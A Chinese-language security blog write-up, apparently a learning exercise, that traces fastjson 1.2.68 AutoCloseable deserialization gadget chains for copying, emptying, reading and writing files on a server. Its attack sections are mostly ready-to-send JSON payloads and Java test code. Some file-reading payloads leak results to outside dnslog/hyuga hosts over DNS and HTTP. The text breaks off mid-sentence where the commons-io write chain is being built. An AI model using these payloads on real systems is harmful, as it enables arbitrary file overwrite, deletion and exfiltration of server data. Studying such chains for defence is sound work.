fastjson1.2.68对于文件操作的分析最全

fastjson1.2.68对于文件操作的分析

- 前言
- 分析
- 复制文件
- 清空文件
- - 出现问题和分析
  - 问题解决分析
  - 问题再次出现
  - 问题再次分析
  - 最终结果
- 读取文件
- - 分析poc
  - 拓宽场景
  - 极限环境
  - poc优化修改
  - 再次优化poc的分析
- 写入文件
- - SafeFileOutputStream写文件
  - java8无依赖读文件
  - 在commons-io库下的写入文件
  - - 原因
    - 利用链分析
    - 组合poc
    - 出现问题和分析
    - 循环引用解决问题
    - 最终poc

前言

这次分析也是分析了很久，因为每个链子都是自己去跟着分析了的，然后主要是去学习了一下怎么去挖链子

分析

前面漏洞复现只是简单地验证绕过方法的可行性，在实际的攻击利用中，是需要我们去寻找实际可行的利用类的。

我们的思路就是寻找实现自AutoCloseable接口（当然也可以是其他的接口，比如上面有的那些），并且可以恶意利用的，这里主要是学习
Mi1k7ea
主要是寻找关于输入输出流的类来写文件，IntputStream和OutputStream都是实现自AutoCloseable接口的。

需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
需要一个通过 set 方法或构造方法传入字节数据的 OutputStream，参数类型必须是byte[]、ByteBuffer、String、char[]其中的一个，并且可以通过 set 方法或构造方法传入一个 OutputStream，最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
需要一个通过 set 方法或构造方法传入一个 OutputStream，并且可以通过调用 toString、hashCode、get、set、构造方法调用传入的 OutputStream 的 close、write 或 flush 方法

以上三个组合在一起就能构造成一个写文件的利用链

复制文件

利用类：org.eclipse.core.internal.localstore.SafeFileOutputStream

<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjtools</artifactId>
    <version>1.9.5</version>
</dependency>

主要看到它的构造方法

public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {
        this.failed = false;
        this.target = new File(targetPath);
        this.createTempFile(tempPath);
        if (!this.target.exists()) {
            if (!this.temp.exists()) {
                this.output = new BufferedOutputStream(new FileOutputStream(this.target));
                return;
            }
 
            this.copy(this.temp, this.target);
        }
 
        this.output = new BufferedOutputStream(new FileOutputStream(this.temp));
    }

这段 Java 代码定义了一个名为 SafeFileOutputStream 的类的构造函数。该构造函数接受两个参数，targetPath 和 tempPath，这两个参数分别代表目标文件路径和临时文件路径。
此构造函数首先设置 failed 标记为 false，然后根据 targetPath 创建一个 File 对象，用 tempPath 创建一个临时文件.
接下来，如果目标文件不存在，那么它将检查临时文件是否存在。如果临时文件也不存在，它将直接在目标路径开创一个新的文件输出流。否则，如果临时文件确实存在，它将临时文件的内容复制到目标文件中。
如果目标文件已经存在，那么它将在临时文件路径创建一个新的文件输出流。

只需要实例化就能够触发

{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"C:/Windows/win.ini", "targetPath":"E:/Coding/flag.txt"}

清空文件

也是看到了scz师傅的文章

{
    '@type':"java.lang.AutoCloseable",
    '@type':'java.io.FileWriter',
    'file':'/tmp/nonexist',
    'append':false
}

我根据这个写了一个测试类，发现确实是可以完成我们的目的，测试类也不难，就不放了，
然后主要就是我们的append参数，因为他如果为false的话，就指的是吧文件内容写入覆盖，我们写入为空，那就相当于是删除文件了

出现问题和分析

Exception in thread "main" com.alibaba.fastjson.JSONException: default constructor not found. class java.io.FileWriter
	at com.alibaba.fastjson.util.JavaBeanInfo.build(JavaBeanInfo.java:558)
	at com.alibaba.fastjson.parser.ParserConfig.createJavaBeanDeserializer(ParserConfig.java:915)

找不到我们的构造器，我们跟着链子，最后发现是问题是出在

if (paramNames != null
                        && types.length == paramNames.length)

这个判断是false，导致直接进入else

throw new JSONException("default constructor not found. " + clazz);

所以抛出了异常，那是因为我们参数是null，找不到对应的构造器，我们没有参数

最后看别人
JavaBeanInfo.build 方法中检查参数名的代码片段：

boolean is_public = (constructor.getModifiers() & 1) != 0;
if (is_public) {
    String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);
    if (lookupParameterNames != null && lookupParameterNames.length != 0 && (creatorConstructor == null || paramNames == null || lookupParameterNames.length > paramNames.length)) {
        paramNames = lookupParameterNames;
        creatorConstructor = constructor;
    }
}

那什么才是有参数呢？难道刚刚我们没有参数吗？我们是传入参数了啊，这里看师傅的回答

只有当这个类 class 字节码带有调试信息且其中包含有变量信息时才会有。
可以通过如下命令来检查，如果有输出 LocalVariableTable，则证明其 class 字节码里的函数参数会有参数名信息：

javap -l <class_name> | grep LocalVariableTable

还有人做了更多的分析
通过分析发现，不是所有的构造函数的参数名都可以使用，而是第一个参数名最多的构造函数中的参数名才可以使用

比如org.apache.commons.io.output.FileWriterWithEncoding，同时有public FileWriterWithEncoding(File file, CharsetEncoder encoding, boolean append) 和 public FileWriterWithEncoding(String filename, CharsetEncoder encoding, boolean append)2个3参数名的构造函数，fastjson在识别到file encoding append这3个参数名后，后续就算识别到filename encoding append也会跳过参数名更新，所以不能用filename作为参数，只能使用file

在这里插入图片描述
这个是d4m1ts师傅的分析

问题解决分析

这里是使用这个代码去搜索的

package org.example;

import com.alibaba.fastjson.util.ASMUtils;
import org.springframework.core.io.Resource;
import org.springframework.core.io.support.PathMatchingResourcePatternResolver;
import org.springframework.core.type.classreading.SimpleMetadataReaderFactory;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Arrays;

public class App {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Class<?> aClass = Class.forName("java.lang.AutoCloseable"); // 超类

        PathMatchingResourcePatternResolver resolver = new PathMatchingResourcePatternResolver();
        // 1.加载資源    classpath*:com/hadluo/**/*.class : 找环境变量下的 com/hadluo下的 所有.class文件
        Resource[] resources = resolver.getResources("classpath*:org/apache/commons/io/**/*.class");
        for (Resource res : resources) {
            // 先获取resource的元信息，然后获取class元信息，最后得到 class 全路径
            String clsName = new SimpleMetadataReaderFactory().getMetadataReader(res).getClassMetadata().getClassName();
            // 2. 通过名称加载类
            Class tmpClass = Class.forName(clsName);
            // 3. 判断是不是 aClass 的子类
            if (aClass.isAssignableFrom(tmpClass)) {
                // 4. 判断能否识别构造函数参数名，直接copy的fastjson里面的代码
                Constructor<?> creatorConstructor = null; // 构造函数
                String[] paramNames = null; // 存放所有参数，只有这个构造函数的参数名会使用，其他的构造函数都不能用，参考com.alibaba.fastjson.util.JavaBeanInfo.build(java.lang.Class<?>, java.lang.reflect.Type, com.alibaba.fastjson.PropertyNamingStrategy, boolean, boolean, boolean)里面的逻辑（知识点3）

                Constructor[] constructors = tmpClass.getDeclaredConstructors();
                for (Constructor constructor : constructors) {
                    String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);
                    if (lookupParameterNames == null || lookupParameterNames.length == 0) {
                        continue;
                    }

                    if (creatorConstructor != null
                            && paramNames != null && lookupParameterNames.length <= paramNames.length) {
                        continue;
                    }

                    paramNames = lookupParameterNames;
                    creatorConstructor = constructor;
                }
                if (paramNames != null) {
                    System.out.println("构造函数可用：" + creatorConstructor + " <== 可用参数名：" + Arrays.toString(paramNames));
                }
                // 5. 判断是否有setXXX方法
                Method[] declaredMethods = tmpClass.getDeclaredMethods();
                for (Method method : declaredMethods) {
                    if (method.getName().startsWith("set")) {
                        System.out.println("setXXX可用：" + method);
                    }
                }
            }
        }
    }
}

用org.apache.commons.io.output.FileWriterWithEncoding这个类

    public FileWriterWithEncoding(File file, Charset encoding, boolean append) throws IOException {
        this.out = initWriter(file, encoding, append);
    }

跟进initWriter方法

private static Writer initWriter(File file, Object encoding, boolean append) throws IOException {
        if (file == null) {
            throw new NullPointerException("File is missing");
        }
        if (encoding == null) {
            throw new NullPointerException("Encoding is missing");
        }
        boolean fileExistedAlready = file.exists();
        OutputStream stream = null;
        Writer writer = null;
        try {
            stream = new FileOutputStream(file, append);
            if (encoding instanceof Charset) {
                writer = new OutputStreamWriter(stream, (Charset)encoding);
            } else if (encoding instanceof CharsetEncoder) {
                writer = new OutputStreamWriter(stream, (CharsetEncoder)encoding);
            } else {
                writer = new OutputStreamWriter(stream, (String)encoding);
            }
        }

仔细去审计代码，这个方法就离谱，当append为false时，如果文件存在，就置空，不存在就新建

我们尝试先手写一下

import org.apache.commons.io.output.FileWriterWithEncoding;

import java.io.File;
import java.io.IOException;

public class Test {
    public static void main(String[] args) throws IOException {
        File file =new File("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\fastjson_jdbc\\src\\main\\java\\2.txt");
        FileWriterWithEncoding fileWriterWithEncoding=new FileWriterWithEncoding(file,"UTF-8",false);

    }
}

问题再次出现

尝试了也是能成功的，我们在实际中尝试一下发现不行
poc

{
    "置空":{
        "@type":"java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.output.FileWriterWithEncoding",
        "file": "/Users/d4m1ts/Downloads/a.txt",
        "encoding": "UTF-8"
        },
    "新建":{
        "@type":"java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.output.FileWriterWithEncoding",
        "file": "/Users/d4m1ts/Downloads/b.txt",
        "encoding": "UTF-8"
        }
}

问题再次分析

抄的这个poc不行，我再仔细的去分析了一波，发现这个连参数都没有传入全部，而且file参数是File类型的，不能这样传入参数，所以我就改了一下

{\"置空\":{\n" +
                "        \"@type\":\"java.lang.AutoCloseable\",\n" +
                "        \"@type\": \"org.apache.commons.io.output.FileWriterWithEncoding\",\n" +
                "        \"file\":{\"@type\":\"java.io.File\",\"pathname\":\"F:\\IntelliJ IDEA 2023.3.2\\java脚本\\fastjson_jdbc\\src\\main\\java\\1.txt\"},\n" +
                "        \"encoding\": \"UTF-8\"\n" +
                "        \"append\":false}" +
                "}

结果还是不行，结果就是一个sb’问题，是iaea自动转义导致的问题这样就，主要是我们文件哪里，复制进去会自动转义，我们需要自己改一下，不然会导致json格式的错误

最终结果

import com.alibaba.fastjson.JSON;

public class test {
    public static void main(String[] args) {
        String exp ="{\n" +
                "        \"@type\":\"java.lang.AutoCloseable\",\n" +
                "        \"@type\": \"org.apache.commons.io.output.FileWriterWithEncoding\",\n" +
                "        \"file\": \"D:/2.txt\",\n" +
                "        \"encoding\": \"UTF-8\"\n" +
                "        }";
        JSON.parse(exp);

    }
}

读取文件

这里参考的是浅蓝师傅的文章

分析poc

首先给出poc，我们根据这个poc来分析一下

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///tmp/"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          ...
        ]
      }
    ]
  },
  "address" : {"$ref":"$.abc.BOM"}
}

首先我们一个类一个类的看，有什么作用
org.apache.commons.io.input.BOMInputStream

这里利用的是它的构造函数和getBOM
首先是构造方法

public BOMInputStream(final InputStream delegate, final boolean include, final ByteOrderMark... boms)

可以看到是可以传入一个InputStream类型的参数delegete和一个ByteOrderMark类型的数组
主要看下面的代码

 public ByteOrderMark getBOM() throws IOException {
        if (this.firstBytes == null) {
            this.fbLength = 0;
            int maxBomSize = ((ByteOrderMark)this.boms.get(0)).length();
            this.firstBytes = new int[maxBomSize];

            for(int i = 0; i < this.firstBytes.length; ++i) {
                this.firstBytes[i] = this.in.read(); // 从 delegate 输入流从取出所有字节，组成一个 int 数组
                ++this.fbLength;
                if (this.firstBytes[i] < 0) {
                    break;
                }
            }

            this.byteOrderMark = this.find(); // 开始把实例化对象时传入的 ByteOrderMark 数组 boms 和从 delegate 输入流从取出所有字节组成的int数组进行比对。
            if (this.byteOrderMark != null && !this.include) {
                if (this.byteOrderMark.length() < this.firstBytes.length) {
                    this.fbIndex = this.byteOrderMark.length();
                } else {
                    this.fbLength = 0;
                }
            }
        }

        return this.byteOrderMark; //返回 byteOrderMark
    }
    private ByteOrderMark find() {
        Iterator var1 = this.boms.iterator();

        ByteOrderMark bom;
        do {
            if (!var1.hasNext()) {
                return null;
            }

            bom = (ByteOrderMark)var1.next();
        } while(!this.matches(bom));

        return bom;
    }
    private boolean matches(ByteOrderMark bom) {
        for(int i = 0; i < bom.length(); ++i) {
            if (bom.get(i) != this.firstBytes[i]) {
                return false;
            }
        }

        return true;
    }

可以看到这里是有一个逻辑的，先把 delegate 输入流的字节码转成 int 数组，然后拿 ByteOrderMark 里的 bytes 挨个字节遍历去比对，如果遍历过程有比对错误的 getBom 就会返回一个 null，如果遍历结束，没有比对错误那就会返回一个 ByteOrderMark 对象。所以这里文件读取成功的标志应该是 getBom 返回结果不为 null。
这也是我们利用的主要思路

然后我们的delegte是什么呢？
ReaderInputStream

public ReaderInputStream(final Reader reader, final CharsetEncoder encoder, final int bufferSize) {
        this.reader = reader;
        this.encoder = encoder;
        this.encoderIn = CharBuffer.allocate(bufferSize);
        this.encoderIn.flip();
        this.encoderOut = ByteBuffer.allocate(128);
        this.encoderOut.flip();
    }

这是它的构造方法，是一个reader，我们就看那个函数的名字，就是把我们的reader传为in或者out的类型
我们仔细看看方法
allocate(bufferSize)就是限制我们读取char的范围，然后this.encoderIn.flip();就是为确定我们的范围
然后需要传入一个reader看到下一个类URLReader

可以传入一个 URL 对象。这就意味着 file jar http 等协议都可以使用。我们可以指定自己的文件

自己也没有搭环境复现，使用师傅的复现
在这里插入图片描述正常读文件时如果字节码比对正确了（因为要读的文件第一个字母是b，转成int就是98，我在boms传入的bytes第一个就是98，所以比对正确），他是会返回一个 ByteOrderMark 对象的。

因为我这里没有虚拟机，我自己写了一个测试类，但是不是fastjson的格式，只是为了明白一下原理

import org.apache.commons.io.ByteOrderMark;
import org.apache.commons.io.input.BOMInputStream;
import org.apache.commons.io.input.CharSequenceReader;
import org.apache.commons.io.input.ReaderInputStream;

import java.io.*;

public class test {
    public static void main(String[] args) throws IOException {
        File file =new File("文件路径");
        Reader reader =new FileReader(file);
        ReaderInputStream readerInputStream =new ReaderInputStream(reader,"UTF-8");
        ByteOrderMark byteOrderMark =new ByteOrderMark("UTF-8",98);
        BOMInputStream bomInputStream =new BOMInputStream(readerInputStream,byteOrderMark);
        System.out.println(bomInputStream.getBOM());
    }
}

当我1.txt文件内容为a的时候，我们运行返回的是null，当我把文件内容改为b的时候，返回了在这里插入图片描述
所以就可以通过这一点来读取我们的文件内容

拓宽场景

有一个修改用户昵称的功能，使用了 fastjson 解析，取出 nickname 属性更新到数据库。我把 getBom 的值引用到 nickname 属性里。修改成功后如果返回查看 nickname 是空或者null那就代表字节码比对错误，如果是 ByteOrderMark[…] 那就说名比对成功。
是可以的，但是如有这样一个场景呢？

有一个接口使用了 fastjson 解析 json，获取了某个属性，代码中对这个属性的格式做了严格校验，或者不会调用 json 对象里的任何属性。所以我们无法从这个接口的响应得知 getBom 返回的到底是什么。不过这个接口如果在用 fastjson 解析 JSON 的过程中抛出了异常它就会输出到响应。

这时候我们又该如何操作呢？

按照上面的逻辑，我们是需要根据网页返回的结果来确定我们是否正确的，现在网页返回的是抛出异常，那我们是不是也应该对应着抛出异常

根据作者的想法
只要让传入参数时对象类型不匹配，fastjson 自身就会抛出一个异常，如果是 null 的话就不会抛出异常。

意思就是在我们的getBom方法再套一个类，让他根据返回值不同去抛出异常和不抛出异常，而抛出异常的逻辑也是根据类型匹配，我们匹配成功返回的是一个ByteOrderMark对象

最简单的方法就是

        ByteOrderMark byteOrderMark =new ByteOrderMark("UTF-8",98);
        System.out.println(byteOrderMark.getClass().getName());

输出他的类型，你运行的话可以发现他就是ByteOrderMark类型的，我们找一个类，他能接收null不报错，接收我们的这个类型报错的

我先尝试着找了一下，但是太瓜皮了，找到的是AnrryList和MYclass，但是不行，这里看作者找到的是CharSequenceReader类，我在本地尝试了一下，真的可以，作者太牛了

我还是去找了一下，我在思考可不可以使用我们的方法来判断呢？这里我找到了一个方法

Optional.ofNullable(null);  // 这不会抛出异常

可不可以这样利用呢？，但是突然想起来fastjson只能调用的是get和set方法，用个屁

当然我还是去找了找发现

AtomicReference<String> atomicReference = new AtomicReference<>(null);

也不会报错，所以还是有利用的价值的，所以感觉是可以利用的，但是对于原来作者有一个我没有明白，为什么java.lang.String还要加上呢？

不对，我好像找到了答案，因为我必须传入一个参数，这个参数有个条件，那就是必须是CharSequence类型的，我们去探究一下，

public final class String
    implements java.io.Serializable, Comparable<String>, CharSequence

这个就是我们的原因，不过这个null在传入String就已经报错了，没道理，感觉还是没有作用的，但是自己又不会去实际测试一下，难崩

因为这个要连那个虚拟机来着，不会，不想学，因为这个本身利用价值不大，只是学一下思路

极限环境

有一个接口，用 fastjson 解析了 JSON，但不会反馈任何能够作为状态判断的标识，连异常报错的信息都没有。

这里又用到了fastjson的一个特性

如果fastjson前面的错了，那后面的也不会去执行
所以我们就可以利用这一点，先看原来作者的poc

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///tmp/test"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          98
        ]
      }
    ]
  },
  "address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader",
              "charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0},
  "xxx": {
      "@type": "java.lang.AutoCloseable",
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "http://aaaxasd.g2pbiw.dnslog.cn/"
          },
        "charsetName": "UTF-8",
        "bufferSize": 1024
      },
      "boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]
  },
  "zzz":{"$ref":"$.xxx.BOM[0]"}
}

不明白为什么还需要那么长，后面的他探测还是用了前面的重复下来？
其实还是因为我们的urlreader这个类，前面说了他还可以使用http协议，我们就可以进行dnslog探测，所以作者是根据的这个去写poc的
在这里插入图片描述可以看到是成功的解析了的

poc优化修改

其实这里直接换成正常的探测poc就ok的
我们用的是

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///E:/tmp/tyskill.txt"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          48,
        ]
      }
    ]
  },
  "address" : {
	"@type": "java.lang.AutoCloseable",
	"@type":"org.apache.commons.io.input.CharSequenceReader",
	"charSequence": {
		"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"
	},
	"start": 0,
	"end": 0
  },
  "xxx":{{"@type":"java.net.Inet4Address","val":"cnm.awm6.hyuga.icu"}:"xx"}
}

可以看到最后只是加了个探测的poc，我认为这已经是最ok的结果了，但是师傅发现

因为上面的构造是匹配失败也就是没有匹配到就会发出请求，说实话匹配失败的次数是远远大于成功的次数的，所以师傅就换了一个逻辑，就是只匹配成功的时候发送请求，匹配成功返回对象，那我们该怎么修改呢？

再次优化poc的分析

这里我们还得清楚一个点
那就是到底是怎么去访问我们的远程url的啊？也没看见啊，我们找一下和reader有关的地方

经过仔细的调试分析，终于是找到了眉目
给出调用栈就能够大哥明白我们的访问是在哪里触发的了

openConnection:62, Handler (sun.net.www.protocol.http)
openConnection:57, Handler (sun.net.www.protocol.http)
openConnection:972, URL (java.net)
openStream:1038, URL (java.net)
readFully:811, Source (jdk.nashorn.internal.runtime)
getReader:116, URLReader (jdk.nashorn.api.scripting)
read:87, URLReader (jdk.nashorn.api.scripting)
fillBuffer:206, ReaderInputStream (org.apache.commons.io.input)
read:283, ReaderInputStream (org.apache.commons.io.input)
getBOM:213, BOMInputStream (org.apache.commons.io.input)
main:17, test

我们前面需要的是匹配成功才访问，这就需要一个先决的条件，因为我们的匹配和访问url都是发生在我们的getBOM方法中的，我们就要判断谁先发生的，如果是访问url先发生，那我们这样是没有意义的

我们看看poc

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
	  "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
		"@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///E:/tmp/tyskill.txt"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [48,]
      }
    ]
  },
  "address": {
	  "@type": "java.lang.AutoCloseable",
	  "@type": "org.apache.commons.io.input.BOMInputStream",
	  "delegate": {
		"@type": "org.apache.commons.io.input.ReaderInputStream",
		"reader": {
		  "@type": "jdk.nashorn.api.scripting.URLReader",
		  "url": "http://aaaxd.bf1p.hyuga.icu/"
		},
		"charsetName": "UTF-8",
		"bufferSize": 1024
	  },
	  "boms": [{"$ref":"$.abc.BOM[0]"}]
  },
  "xxx":{"$ref":"$.address.BOM[0]"}
}

wc，你是不是犹豫了一下，这tm不是和上面差不多吗，你仔细看就会发现，这个poc的改变就对应了我们的分析

你仔细和第一个对比一下，他这个是直接嵌在address里面的，当然除了我们分析的，还有妙的
boms传入“空数组”时不会发生访问行为因为根本就调用不到我们的read方法

如何构造一个“空数组”呢？传入一个null即可，也就是bytes比较不成功的时候，此时逻辑就可以串联起来了，先注入文件内容，比较不成功时返回null，将null通过JSONpath引用到第二部分的BOMInputStream对象boms数组中，这样就可以形成更好用的poc

写入文件

SafeFileOutputStream写文件

com.esotericsoftware.kryo.io.Output

<dependency>
    <groupId>com.esotericsoftware</groupId>
    <artifactId>kryo</artifactId>
    <version>4.0.0</version>
</dependency>
<dependency>
    <groupId>com.sleepycat</groupId>
    <artifactId>je</artifactId>
    <version>5.0.73</version>
</dependency>

Output类主要用来写内容，它提供了setBuffer()和setOutputStream()两个setter方法可以用来写入输入流，其中buffer参数值是文件内容，outputStream参数值就是前面的SafeFileOutputStream类对象，而要触发写文件操作则需要调用其flush()函数

/** Sets a new OutputStream. The position and total are reset, discarding any buffered bytes.
 * @param outputStream May be null. */
public void setOutputStream (OutputStream outputStream) {
    this.outputStream = outputStream;
    position = 0;
    total = 0;
}
 
...
 
/** Sets the buffer that will be written to. {@link #setBuffer(byte[], int)} is called with the specified buffer's length as the
 * maxBufferSize. */
public void setBuffer (byte[] buffer) {
    setBuffer(buffer, buffer.length);
}
 
...
 
/** Writes the buffered bytes to the underlying OutputStream, if any. */
public void flush () throws KryoException {
    if (outputStream == null) return;
    try {
        outputStream.write(buffer, 0, position);
        outputStream.flush();
    } catch (IOException ex) {
        throw new KryoException(ex);
    }
    total += position;
    position = 0;
}
 
...

可以看到调用关系是需要调用我们的flush()函数就会调用outputStream.write(buffer, 0, position);
write方法写入内容

怎么调用flush()函数只有在close()和require()函数被调用时才会触发，其中require()函数在调用write相关函数时会被触发。

ObjectOutputStream类，其内部类BlockDataOutputStream的构造函数中将OutputStream类型参数赋值给out成员变量，而其setBlockDataMode()函数中调用了drain()函数、drain()函数中又调用了out.write()函数，满足前面的需求：

 BlockDataOutputStream(OutputStream out) {
          this.out = out;
          dout = new DataOutputStream(this);
      }
 
      /**
       * Sets block data mode to the given mode (true == on, false == off)
       * and returns the previous mode value.  If the new mode is the same as
       * the old mode, no action is taken.  If the new mode differs from the
       * old mode, any buffered data is flushed before switching to the new
       * mode.
       */
      boolean setBlockDataMode(boolean mode) throws IOException {
          if (blkmode == mode) {
              return blkmode;
          }
          drain();
          blkmode = mode;
          return !blkmode;
      }
 
...
 
      /**
       * Writes all buffered data from this stream to the underlying stream,
       * but does not flush underlying stream.
       */
      void drain() throws IOException {
          if (pos == 0) {
              return;
          }
          if (blkmode) {
              writeBlockHeader(pos);
          }
          out.write(buf, 0, pos);
          pos = 0;
      }

对于setBlockDataMode()函数的调用，在ObjectOutputStream类的有参构造函数中就存在：

public ObjectOutputStream(OutputStream out) throws IOException {
    verifySubclass();
    bout = new BlockDataOutputStream(out);
    handles = new HandleTable(10, (float) 3.00);
    subs = new ReplaceTable(10, (float) 3.00);
    enableOverride = false;
    writeStreamHeader();
    bout.setBlockDataMode(true);
    if (extendedDebugInfo) {
        debugInfoStack = new DebugTraceInfoStack();
    } else {
        debugInfoStack = null;
    }
}

但是Fastjson优先获取的是ObjectOutputStream类的无参构造函数，因此只能找ObjectOutputStream的继承类来触发了。
只有有参构造函数的ObjectOutputStream继承类：com.sleepycat.bind.serial.SerialOutput

看到，SerialOutput类的构造函数中是调用了父类ObjectOutputStream的有参构造函数，这就满足了前面的条件了：

public SerialOutput(OutputStream out, ClassCatalog classCatalog)
    throws IOException {
 
    super(out);
    this.classCatalog = classCatalog;
 
    /* guarantee that we'll always use the same serialization format */
 
    useProtocolVersion(ObjectStreamConstants.PROTOCOL_VERSION_2);
}

{
    "stream": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "E:/code/hacked.txt",
        "tempPath": "E:/code/test.txt"
    },
    "writer": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.esotericsoftware.kryo.io.Output",
        "buffer": "内容",
        "outputStream": {
            "$ref": "$.stream"
        },
        "position": 5
    },
    "close": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}

这里写入文件内容其实有限制，有的特殊字符并不能直接写入到目标文件中，比如写不进PHP代码等。
在这里插入图片描述

java8无依赖读文件

我们看看poc

{
    "x":{
        "@type":"java.lang.AutoCloseable",
        "@type":"sun.rmi.server.MarshalOutputStream",
        "out":{
            "@type":"java.util.zip.InflaterOutputStream",
            "out":{
                "@type":"java.io.FileOutputStream",
                "file":"/tmp/dest.txt",
                "append":false
            },
            "infl":{
                "input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
            },
            "bufLen":1048576
        },
        "protocolVersion":1
    }
}

我们先自己写一个测试类看一看能不能行


import sun.rmi.server.MarshalOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;
import java.util.zip.Inflater;
import java.util.zip.InflaterOutputStream;

public class test {
    public static void main(String[] args) throws IOException {
        File file =new File("D:/2.txt");
        FileOutputStream fileOutputStream =new FileOutputStream(file,false);
        Inflater inflater =new Inflater();
        byte[] bytes = Base64.getDecoder().decode("eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==");
        inflater.setInput(bytes);
        int bufLen=1048576;
        InflaterOutputStream inflaterOutputStream =new InflaterOutputStream(fileOutputStream,inflater,bufLen);
        MarshalOutputStream marshalOutputStream =new MarshalOutputStream(inflaterOutputStream,1);
    }
}

发现成功了，逻辑就不说了，比较简单

但是当我们把他写入json格式的时候，会报错
在这里插入图片描述还是因为参数信息的问题
bbs师傅说：
而我在多个不同的操作系统下的 OpenJDK、Oracle JDK 进行测试，目前只发现 CentOS 下的 OpenJDK 8 字节码调试信息中含有 LocalVariableTable（根据沈沉舟的文章，RedHat 下的 JDK8 安装包也会有，不过他并未说明是 OpenJDK 还是Oracle JDK，我未做测试）。

在commons-io库下的写入文件

原因

commons-io 库是非常常见的第三方库
commons-io 库里的类字节码带有 LocalVariableTable 调试信息
commons-io 库里几乎没有类在 fastjson 黑名单中
commons-io 库里基本都是跟 io 相关的类，跟 AutoCloseable 关联性比较强，可探索的地方很多
可以看到这个库就是天选之库

利用链分析

这里就先不放我们的poc了，因为放了也看不懂，就先分析好吧

首先是我们的入口类
XmlStreamReader
我们观察他的构造函数

  public XmlStreamReader(InputStream is, String httpContentType, boolean lenient, String defaultEncoding)throws IOException {
  this.defaultEncoding = defaultEncoding;
  BOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, 4096), false, BOMS);
  BOMInputStream pis = new BOMInputStream(bom, true, XML_GUESS_BYTES);
  this.encoding = this.doHttpStream(bom, pis, httpContentType, lenient);
  this.reader = new InputStreamReader(pis, this.encoding);
  }

重点就是doHttpStream方法最终会调用到InputStream.read方法，这里就不分析了，因为前面分析过了

XmlStreamReader.<init>(InputStream, String, boolean, String)
-> XmlStreamReader.doHttpStream(BOMInputStream, BOMInputStream, String, boolean)
-> BOMInputStream.getBOMCharsetName()
-> BOMInputStream.getBOM()
-> BufferedInputStream.read()
-> BufferedInputStream.fill()
-> InputStream.read(byte[], int, int)

但是我们如果要写文件，需要的是Output类型的流，这里就用到了一个神奇的类

TeeInputStream

public TeeInputStream(
            InputStream input, OutputStream branch, boolean closeBranch) {
        super(input);
        this.branch = branch;
        this.closeBranch = closeBranch;
    }

可以看到是接受输出和输入流的，我们看到他的read方法

public int read() throws IOException {
        int ch = super.read();
        if (ch != -1) {
            branch.write(ch);
        }
        return ch;
    }

把读取的转化为输出的，那不就是完成了流的转化吗，这样我们就可以利用input流来写文件了

通过 TeeInputStream，InputStream 输入流里读出来的东西可以重定向写入到 OutputStream 输出流。

但是我们如果要控制写入的内容，还需要控制读取的内容，我们关注读取的部分
我们需要传入一个input对象

ReaderInputStream + CharSequenceReader

这里我只给出一个链子

ReaderInputStream.read–> ReaderInputStream. fillBuffer–CharSequenceReader.read
reader的read方法
在这里插入图片描述

reader的read方法就可以去读取内容了

CharSequenceReader.read会读取 CharSequence 的值，但是charSequence是一个接口，不过我们的java.lang.String是它的一员，可以传入内容，我们初步的poc是

